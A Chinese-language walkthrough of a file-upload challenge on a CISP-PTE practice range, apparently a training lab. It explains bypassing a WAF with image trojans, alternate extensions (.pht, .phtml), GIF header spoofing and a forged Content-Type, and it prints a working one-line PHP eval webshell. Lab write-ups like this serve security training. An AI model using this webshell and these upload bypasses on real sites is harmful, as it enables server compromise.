CISP-PTE靶场通关思路分享-文件上传篇(十分友好,无比详细)
PTE靶场包含5道Web题之文件上传靶场,此靶场为模拟靶场
文件上传
打开本地搭建的网址,发现需要绕过WAF过滤规则,上传获取WebShell,并读取根目录下的key.php文件
由于绕WAF要不停进行测试,我们用手工测试一次一次尝试比较繁琐,我们可以使用BurpSuite工具对上传数据包进行抓取,然后发送到"Repeater"重放模块,进行尝试绕WAF。
文件上传常规判断目标网站如何检查的手段有:
上传文件时,常规的可以对WAF进行绕过尝试方法有:
通过以上的两图,我们通过BurpSuite重放模块逐一进行尝试。
经过一系列尝试有两种方法进行绕过:
方法一:制作图片马,抓包并修改文件名即可绕过
首先制作一张含有一句话木马的图片文件,如图所示(用记事本打开正常图片文件,并在末尾处加上一句话木马)
尝试上传一张含有一句话木马的图片,并打开地址,发现上传正常,说明图片中所含的一句话木马未被识别出来。
抓上传文件的包。修改filename,将plane.jpeg修改为plane.pht(修改为plane.phtml也可以成功),如图所示,发现上传成功:
上传成功后打开文件地址发现php一句话木马已被解析,之后使用蚁剑进行连接即可,蚁剑连接在文章末尾
方法二:制作一句话木马文件,并将文件保存并命名为a.php
<?php @eval($_POST['a']);?>
将含有一句话木马的php文件的Content-Type和文件头修改为gif文件的Conttent-Type和文件头(GIF89a),并将.php后缀修改为.pht即可绕过
如图所示:
发现上传成功!
上传成功后使用蚁剑进行连接,输入一句话木马的密码后连接成功
打开网站根目录查看key.php即可获得目标key
总结:本题利用的知识点是:黑名单中上传特殊的可解析后缀(.pht、.phtml)和检查内容的文件头检查和白名单的MIME绕过(Content-Type)三种绕过方式结合后上传含有一句话木马的文件对WAF进行绕过